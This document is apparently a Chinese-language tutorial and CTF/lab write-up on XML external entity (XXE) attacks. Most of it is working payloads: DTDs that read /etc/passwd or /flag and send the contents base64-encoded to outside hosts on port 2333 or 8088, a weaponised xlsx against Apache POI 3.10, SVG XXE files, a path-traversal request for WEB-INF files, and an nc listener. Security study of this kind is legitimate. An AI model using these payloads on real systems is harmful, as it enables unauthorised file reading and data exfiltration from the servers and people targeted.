对于传统的XXE来说,攻击者只有在服务器有回显或报错的情况下才能使用XXE漏洞来读取服务器端文件。 例如
<!ENTITY file SYSTEM "file:///etc/passwd"> <username>&file;</username>如果服务器没有回显,只能通过Blind XXE构造一条外带信道来提取数据,也就是数据外带。
xml.php
<?php libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:2333?p=%file;'>">payload
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]>这样就实现了外带数据的效果,完美解决了XXE无回显的问题
下面用bWAPP靶场来示例一下有回显XXE和无回显的区别
点击Any bugs抓包查看正常请求,可以看到其中的XML文档
payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test[ <!ENTITY file SYSTEM "http://192.168.115.142/bWAPP/robots.txt"> ]> <reset><login>&file;</login><secret>Any bugs?</secret></reset>payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test[ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <reset><login>&file;</login><secret>Any bugs?</secret></reset>payload
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE test[ <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/bWAPP/xxe-1.php"> ]> <reset><login>&file;</login><secret>Any bugs?</secret></reset>由于bWAPP没有无回显靶场,这里用来测试一下数据外带的思路
我们先在vps上传一个test.dtd文件,内容如下
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://116.62.211.134:2333/?p=%file;'>">payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY % remote SYSTEM "http://116.62.211.134/test.dtd"> %remote;%int;%send; ]> <reset><login>bee</login><secret>Any bugs?</secret></reset>Apache POI 3.10-FINAL及以前版本被发现允许远程攻击者通过注入XML外部实体访问外部实体资源或者读取任意文件。
poi-ooxml-3.10-FINAL.jar及以下版本
[Content-Types].xml
修改[Content_Types].xml,在第二行加入以下内容
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/file.dtd"> %remote;%int;%send; ]>压缩成zip后再修改后缀为.xlsx
在vps上新建一个file.dtd文件,内容如下
<!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:2333?p=%file;'>">vps开启监听,上传xlsx文件后外带出数据
上传一个文件后可以点击下载
修改filename为../后得到一个Java的报错信息
这里用目录穿越读取WEB-INF下的web.xml文件
DownloadServlet?filename=../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml可以看到有UploadServlet、DownloadServlet、ListFileServlet三个class文件
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class依次下载下来后用jd-gui反编译成Java源代码,关键代码在UploadServlet.class第63行起
如果是以excel-开头的xlsx文件,就会调用WorkbookFactory.create去处理文件,从而触发XXE
vps上传一个dtd文件,内容如下
<!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://174.2.73.65:2333?p=%file;'>">将excel解压后,修改[Content-Types].xml,在第二行后加入以下内容
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://174.2.73.65/xxe.dtd"> %remote;%int;%send; ]>vps上开启监听
nc -lvvp 2333SVG是一种图像文件格式,它的英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形。它是基于XML(Extensible Markup Language),由World Wide Web Consortium(W3C)联盟进行开发的。
SVG是一种用XML定义的语言,使用 XML 格式定义图形。SVG 文件是纯粹的 XML。
既然svg也是xml格式,自然可以用来xxe,下面给出有回显和盲打的payload
xxe.svg
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///etc/passwd" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd" > <!ENTITY % send "<!ENTITY res SYSTEM 'http://116.62.211.134:8088/?a=%file;'>">xxe.svg
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT svg ANY > <!ENTITY % remote SYSTEM "http://116.62.211.134/xxe.xml" > %remote;%send; ]><svg height="100" width="1000">&res;</svg>这道题应该是加了白,如果请求的文件不是svg的话会返回Unauthorized type!
传入一个svg会成功加载